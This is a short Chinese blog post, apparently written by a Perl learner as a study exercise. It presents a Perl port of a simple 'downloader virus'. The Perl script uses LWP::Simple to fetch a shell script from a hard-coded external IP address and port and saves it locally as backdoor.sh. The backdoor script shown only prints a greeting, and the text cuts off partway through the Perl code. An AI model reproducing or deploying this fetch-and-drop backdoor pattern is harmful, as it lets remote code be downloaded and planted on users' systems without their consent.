一直学的perl, 有时perl不理解时就用python写一下，这样或许perl就理解了 这里参照python写法，做了个perl的版本，当然，是为了学习用，这个下载者病毒有点简单过头了 backdoor.sh后门程序代码如下: backdoor.sh1 #!/bin/sh2echo‘Hello, Python‘下面为perl的shell.pl代码: shell.pl1#!/usr/bin/perl2use LWP::Simple; 34my$backdoor_content = get(‘http://45.63.49.167:8080/shell.sh‘); 5open BACKDOOR, ">", ‘backdoor.sh‘...